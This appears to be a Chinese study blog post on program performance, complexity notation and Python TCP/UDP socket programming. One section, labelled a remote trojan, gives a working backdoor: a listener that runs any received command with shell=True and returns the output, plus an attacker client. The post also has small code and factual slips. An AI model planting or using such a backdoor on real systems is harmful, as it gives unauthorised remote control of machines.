2021年11月

什么是程序性能

程序性能是指运行这个程序需要的内存和时间的多少,我们用时间复杂度和空间复杂度这两个指标来代表

空间复杂度

程序所需的空间主要由以下构成:

  1. 指令空间:指编译后的程序指令所需要的存储空间
  2. 数据空间:指所有常量和变量值所需要的存储空间,他由两部分组成:

    1. 常量(如0,1)和简单变量所需要的存储空间
    2. 环境栈空间:用来保存暂停的函数和方法在恢复运行时所需要的信息。如函数func调用了func2,那么我们需要保存在func2结束时func继续执行的指令地址

有时候细微的差距也会带来不同

class Solution:
    def removeDuplicates(self, nums: List[int]) -> int:
        n = len(nums)
        i = 0
        for j in range(n):
            if nums[i] == nums[j]:
                continue
            else:
                i += 1
                nums[i] = nums[j]
        return i + 1
class Solution:
    def removeDuplicates(self, nums: List[int]) -> int:
        i = 0
        for j in range(len(nums)):
            if nums[i] == nums[j]:
                continue
            else:
                i += 1
                nums[i] = nums[j]
        return i + 1

这两个例子功能相同,但是第一种写法采用的是另写一个变量n,而第二个是在for循环中使用len(nums),两者性能便有了差距,后者执行时间32 ms,消耗内存15.6 MB,而前者则是56 ms,15.5 MB

指令空间:

指令空间的数量取决于一下因素:

  1. 把程序转换成机器代码的编译器
  2. 在编译时的编译器选项
  3. 目标计算器:如是否安装了浮点处理硬件

数据空间:一个结构变量的空间大小是每个结构成员所需的大小之和,如一个数组的大小是数组的长度乘以一个数组元素的空间大小

环境栈空间:每当一个函数被调用的时候,下面的数据将被保存在环境栈中:

  1. 返回地址
  2. 正在调用的函数的所有局部变量的值以及形参的值(仅对递归函数而言)

大O表示法

函数的渐近增长:给定两个函数f(n)和g(n),如果存在个整数N,使得对于所有的n> N, f(n)总是比g(n)大,那么,我们说f(n)的增长渐近快于g(n)。

换句话说,我们在看一个算法的时间复杂度时,只要看最高次项就可以了,低次项和常数、最高次项前面的系数都是无关紧要的,只要n够大,这些对总体所消耗的时间影响不大,如f(n^3+n+5) ---->f(n^3),而这个最高次项一般是看算法循环嵌套最多的地方,如一个for(i = 0;i<n;i++)循环的时间复杂度是n,计算时嵌套的循环等于内外复杂度之积,如上一个for里面再嵌套一个for,则他的复杂度是n^2

常用的时间复杂度

0(logn),也叫对数时间,这样的算法包括二分查找
O(n),也叫线性时间,这样的算法包括简单查找。
0(n* logn),这样的算法包括快速排序
0(n2),这样的算法包括选择排序
O(n!),这样的算法包括旅行商问题的解决方案

套接字

Socket套接字,是应用层与TCP/IP协议族通信的中间软件抽象层,他是一组接口,把复杂的协议隐藏在接口后面,屏蔽了各个协议的通信细节,是的程序员无需关注协议本身,直接使用Socket提供的接口来进行不同主机间的进程的通信

套接字家族

基于文件类型的套接字:AF_UNIX,unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间完成通信

基于网络类型的套接字家族:AF_INEF(6),还有其他的一些地址家族。所有当中,AF_INEF是使用的最广的一个

套接字工作流程

TCP

avatar

服务器端先初始化Socket,然后和端口绑定,对端口进行监听,调用accept阻塞,等待客户端连接。

客户端初始化Socket,然后连接服务器,如果成功则两边的连接就建立起来了。客户端发送数据请求,服务端接收请求并处理,然后把回应数据发送给客户端,客户端读取数据,最后关闭链接

clinet

import  socket

ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)## socket_family 可以是 AF_UNIX 或 AF_INET。socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。protocol 一般不填,默认值为 0。

ser.bind(('127.0.0.1',9999))#选端口不要选1000内的

ser.listen(5)#TCP监听5个请求

conn,client_addr = ser.accept()#被动接受TCP客户的连接,(阻塞式)等待连接的到来,连接句柄,客户端地址

print(conn,client_addr,sep='\n')


limit_data = conn.recv(1024)

print(limit_data.decode('utf-8'))

conn.send(limit_data.upper())



conn.close()

ser.close()

user

import socket

user = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

user.connect(('127.0.0.1',9999))


data = input('please input some words')

user.send(data.encode('utf-8'))

receive_data = user.recv(1024)

print(receive_data.decode('utf-8'))

user.close()

循环版

server

import  socket

ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)## socket_family 可以是 AF_UNIX 或 AF_INET。socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。protocol 一般不填,默认值为 0。

ser.bind(('127.0.0.1',9999))#选端口不要选1000内的

ser.listen(5)#TCP监听5个请求

while 1:
    conn,client_addr = ser.accept()
    print(conn,client_addr,sep='\n')
    while 1:
        try:
            from_client_data = conn.recv(1024)
            print(from_client_data.decode('utf-8'))
            conn.send(from_client_data.upper())

        except:
            break
conn.close()
phone.close()

user

import socket

user = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

user.connect(('127.0.0.1',9999))


while 1:
    client_data = input('>>> ')
    user.send(client_data.encode('utf-8'))
    if client_data == 'q':
        break

    from_server_data = user.recv(1024)
    print(from_server_data.decode('utf-8'))

user.close()

远程木马

目标端

import socket
import subprocess
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('127.0.0.1', 8080))
phone.listen(5)
while 1: # 循环连接客户端
    conn, client_addr = phone.accept()
    print(client_addr)
    while 1:
        try:
            cmd = conn.recv(1024)
            ret = subprocess.Popen(cmd.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            correct_msg = ret.stdout.read()
            error_msg = ret.stderr.read()
            conn.send(correct_msg + error_msg)
        except ConnectionResetError:
            break

        conn.close()
        phone.close()

攻击端

import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 买电话
phone.connect(('127.0.0.1', 8080)) # 与客户端建立连接, 拨号
while 1:
    cmd = input('>>>')
    phone.send(cmd.encode('utf-8'))
    from_server_data = phone.recv(1024)
    print(from_server_data.decode('gbk'))

phone.close() # 挂电话

UDP

avatar

服务端初始化socket,和端口绑定,recvfrom接收消息,消息包含消息内容和对方客户端的地址,回复消息时也要包含这个客户端的地址,发送,最后关闭连接

server

import socket


udp = socket.socket(type=socket.SOCK_DGRAM)
udp.bind(('127.0.0.1',9999))

msg,addr = udp.recvfrom(2048)

print(msg.decode('utf-8'))

udp.sendto('I get it.'.encode('utf-8'),addr)
udp.close()

user

import socket

ip_port = ('127.0.0.1',9999)

udp = socket.socket(type=socket.SOCK_DGRAM)

msg = input('>>>')

udp.sendto(msg.encode('utf-8'),ip_port)

back_msg,addr = udp.recvfrom(2048)

print(back_msg.decode('utf-8'),addr)

粘包

avatar

每个socket被创建后,都会分配两个缓冲区,输入和输出缓冲区,write\send并不是立即传输数据,而是把数据先写入缓冲区后再由TCP将数据从缓冲区发送到目标网络,一旦数据写入到缓冲区,函数就成功返回了,并不管后面发送的事情

TCP协议独立于write\send函数,数据可能刚被写进缓冲区就给发送出去,也可能再缓冲区不断积压,多次数据一次性发送到网络,这取决于当时的网络情况、当前线程是否空闲等因素,read\recv函数同理

I/O缓冲区的特性:

  1. I/O缓冲区在每个TCP套接字中单独存在;
  2. I/O缓冲区在创建套接字时自动生成;
  3. 即使关闭套接字也会继续传送输出缓冲区中遗留的数据;
  4. 关闭套接字将丢失输入缓冲区中的数据。

发生粘包的两种情况

  1. 接收方没有及时接收缓冲区的包,造成多个包接收(客户端发送一段数据,服务端只接收一小部分,下次发送时还是从缓冲区拿遗留下来的数据)
  2. 发送端等到缓冲区满才发送出去,造成粘包(发送数据时间间隔很短,数据也很小,就会合到一起)

粘包的解决方案

avatar

利用struct模块,把消息的长度这个数字转成固定长度的消息,这样,服务端接收固定长度消息,即把长度信息接收过来,解压后得到真实信息长度,再根据这个来确定接下来要接收多长的信息,这样能解决粘包问题

import struct # 将一个数字转化成等长度的bytes类型。 
ret = struct.pack('i', 183346) 
print(ret, type(ret), len(ret)) # 通过unpack反解回来 
ret1 = struct.unpack('i',ret)[0] 
print(ret1, type(ret1), len(ret1)) # 但是通过struct 处理不能处理太大